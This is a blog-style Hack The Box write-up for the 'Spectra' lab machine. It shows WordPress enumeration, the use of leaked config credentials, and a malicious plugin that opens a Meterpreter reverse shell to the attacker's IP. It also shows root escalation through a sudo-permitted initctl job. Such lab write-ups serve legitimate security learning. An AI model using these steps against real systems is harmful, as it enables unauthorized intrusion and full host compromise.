Spectra

Spectra infocard

Summary:

Spectra is a Linux machine, hosting a WordPress application. It contains hardcoded credentials which allowed us to login to the admin panel. From where, we installed a malicious plugin and gained reverse shell. Privilege escalation phase for user was most hard as it required a lot of manual enumeration for interesting files and hardcoded credentials. Gaining root was straightforward and fun, as I learnt new method of escalation through initctl.

Enumeration

Service Scan

Three open ports available 22, 80, 3306, meaning there is a web application running with as an addition – a mysql server.

# nmap -sC -sV --script=vuln -p-65535 spectra.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-09 02:45 EDT
Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.15% done; ETC: 02:46 (0:00:01 remaining)
Stats: 0:03:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.75% done; ETC: 02:48 (0:00:00 remaining)
Stats: 0:03:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 90.91% done; ETC: 02:49 (0:00:02 remaining)
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
<deleted>
80/tcp   open  http    nginx 1.17.4
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=spectra.htb
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://spectra.htb:80/main/
|     Form id: search-form-1
|     Form action: http://spectra.htb/main/
<deleted>
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /testing/: Potentially interesting folder w/ directory listing
|_http-server-header: nginx/1.17.4
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  BID:49303
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.securityfocus.com/bid/49303
|       https://www.tenable.com/plugins/nessus/55976
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_      https://seclists.org/fulldisclosure/2011/Aug/175
| vulners: 
|   cpe:/a:igor_sysoev:nginx:1.17.4: 
|_      CVE-2019-20372  4.3     https://vulners.com/cve/CVE-2019-20372
3306/tcp open  mysql   MySQL (unauthorized)

WordPress scanner

Using wpscan, I have enumerated wordpress version, users, interesting services, etc.

# wpscan --url http://spectra.htb/main/ -e u                                               4 ⨯
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://spectra.htb/main/ [10.10.10.229]
[+] Started: Wed Jun  9 03:57:20 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx/1.17.4
 |  - X-Powered-By: PHP/5.6.40
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://spectra.htb/main/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://spectra.htb/main/?feed=rss2, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://spectra.htb/main/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

[i] User(s) Identified:
[+] administrator
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

xmlrpc exploit w/ Burp Suite

Get request

As a proof of concept, we can use xmlrpc to bruteforce credentials. However, I have forgotten to take pictures about how and what I did on this phase. Good news is a quick google search could provide plenty of information on how to proceed if interested.

POST /main/xmlrpc.php HTTP/1.1

Host: spectra.htb

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

Content-Length: 135



<?xml version="1.0" encoding="utf-8"?> 

<methodCall> 

<methodName>system.listMethods</methodName> 

<params></params> 

</methodCall>
Post request

Returns all system methods

HTTP/1.1 200 OK

Server: nginx/1.17.4

Date: Wed, 09 Jun 2021 08:16:48 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Content-Length: 4678



<br />
<b>Deprecated</b>:  Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>Unknown</b> on line <b>0</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

I have tried to:

  • bruteforce credentials through wpscan xmlrpc bruteforce option
  • inject php code
  • User’s dump

Both with no success.

/testing Directory

The testing page provides interesting files and directories. Upon manually checking them all, I have discovered possible credentials.

# curl http://spectra.htb/testing/wp-config.php.save                                                                                     137 ⨯
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', '<edited>' );

/** MySQL database password */
define( 'DB_PASSWORD', '<edited>' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
<deleted>

Reverse Shell

Edit the 404.php file

I have used the found credentials from wpscan and from curl to login in to the administrator panel where I tried to change the appearance of the twenty twenty theme by inserting malicious PHP code within its 404 page.
From within “theme editor”, I have found the 404.php and changed the code to the php-reverse-shell.php from pentestmonkey.

However, it did not work since it required me to:

Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.

Upload malicious plugin

I am using a python script called malicious wordpress plugin. The following is its output.

# python wordpwn.py 10.10.14.6 1234 Y
[*] Checking if msfvenom installed
[+] msfvenom installed
[+] Generating plugin script
[+] Writing plugin script to file
[+] Generating payload To file
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1505 (iteration=0)
php/base64 chosen with final size 1505
Payload size: 1505 bytes

[+] Writing files to zip
[+] Cleaning up files
[+] URL to upload the plugin: http://(target)/wp-admin/plugin-install.php?tab=upload
[+] How to trigger the reverse shell : 
      ->   http://(target)/wp-content/plugins/malicious/wetw0rk_maybe.php
      ->   http://(target)/wp-content/plugins/malicious/QwertyRocks.php
[+] Launching handler

     ,           ,                                                                                                   
    /             \                                                                                                  
   ((__---,,,---__))                                                                                                 
      (_) O O (_)_________                                                                                           
         \ _ /            |\                                                                                         
          o_o \   M S F   | \                                                                                        
               \   _____  |  *                                                                                       
                |||   WW|||                                                                                          
                |||     |||                                                                                          


       =[ metasploit v6.0.44-dev                          ]                                                          
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post       ]                                                          
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]                                                          
+ -- --=[ 8 evasion                                       ]                                                          

Metasploit tip: Enable verbose logging with set VERBOSE                                                              
true                                                                                                                 

[*] Processing wordpress.rc for ERB directives.                                                                      
resource (wordpress.rc)> use exploit/multi/handler                                                                   
[*] Using configured payload generic/shell_reverse_tcp                                                               
resource (wordpress.rc)> set PAYLOAD php/meterpreter/reverse_tcp                                                     
PAYLOAD => php/meterpreter/reverse_tcp                                                                               
resource (wordpress.rc)> set LHOST 10.10.14.6                                                                        
LHOST => 10.10.14.6                                                                                                  
resource (wordpress.rc)> set LPORT 1234                                                                              
LPORT => 1234                                                                                                        
resource (wordpress.rc)> exploit                                                                                     
[*] Started reverse TCP handler on 10.10.14.6:1234                                                                   

Now, all I have to do is upload the produced malicious plugin and load it.

By going to the /wp-content/plugins/malicious/wetw0rk_maybe.php I have activated the malicious plugin and in the following lines, I am catching the reverse shell and I upload privesc tools (linpeas, linenum,unix-privesc-check) to the victim machine.

[*] Sending stage (39282 bytes) to 10.10.10.229
[*] Meterpreter session 1 opened (10.10.14.6:1234 -> 10.10.10.229:37604) at 2021-06-09 05:51:28 -0400                

meterpreter > upload /home/kali/linenum.sh
[*] uploading  : /home/kali/linenum.sh -> linenum.sh
[*] Uploaded -1.00 B of 45.54 KiB (-0.0%): /home/kali/linenum.sh -> linenum.sh
[*] uploaded   : /home/kali/linenum.sh -> linenum.sh
<deleted>

Privilege Escalation

I have spent decent amount of time enumerating the machine with the find command and analysing the output of the previously mentioned scripts and discovered a directory called autologin which contains an ascii file called passwd.

[email protected] /var/tmp $ cat /etc/autologin/passwd
cat /etc/autologin/passwd
<edited>!!

It seems that this file is used to feed a password somewhere.

$ ssh [email protected]
Password: 
[email protected] ~ $ ls
log  user.txt

Voila, we got user. In the following lines, I am listing user’s privileges with sudo -l and I notice that a binary initctl requires no password to run. So I check what’s the binary for.

[email protected] ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl
[email protected] ~ $ cd /sbin/
[email protected] /sbin $ ./initctl help
Job commands:
  start                       Start job.
  stop                        Stop job.
  restart                     Restart job.
  reload                      Send HUP signal to job.
  status                      Query status of job.
  list                        List known jobs.

Event commands:
  emit                        Emit an event.

Other commands:
  reload-configuration        Reload the configuration of the init daemon.
  version                     Request the version of the init daemon.
  log-priority                Change the minimum priority of log messages from the init daemon
  show-config                 Show emits, start on and stop on details for job configurations.
  help                        display list of commands

For more information on a command, try `initctl COMMAND --help'.

I had to better understand what the binary is. The manual page for initctl explains what it is and what it does. In the following lines I am simply following the logic from the man page and the help output.

[email protected] /sbin $ ./initctl list
crash-reporter-early-init stop/waiting
cups-clear-state stop/waiting
dbus_session stop/waiting
failsafe-delay stop/waiting
fwupdtool-activate stop/waiting
send-reclamation-metrics stop/waiting
smbproviderd stop/waiting
tpm_managerd start/running, process 818
udev start/running, process 240
test stop/waiting
test1 stop/waiting
<deleted>

There is a job called test1 which may be used to write a malicious script which will be ran by initctl with root privileges.

I thought about running netcat to establish an elevated reverse shell but the machine hasn’t got a netcat. In this case, I thought to change the group permissions of /bin/bash shell.

Next, I am starting the job with root privileges and then I run the shell /bin/bash.

[email protected] /sbin $ sudo -u root /sbin/initctl start test
test start/running, process 29965
[email protected] /sbin $ /bin/bash -p
bash-4.3# whoami
root

This box was quite interesting and it took me a while to elevate to user. Root flag was much faster, wierdly enough. Anyway, we learnt about initctl privesc. Practiced a bit with wordpress enumeration and hacking. Practiced find local enumeration and discovered valuable intel which we used to elevate our privileges.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: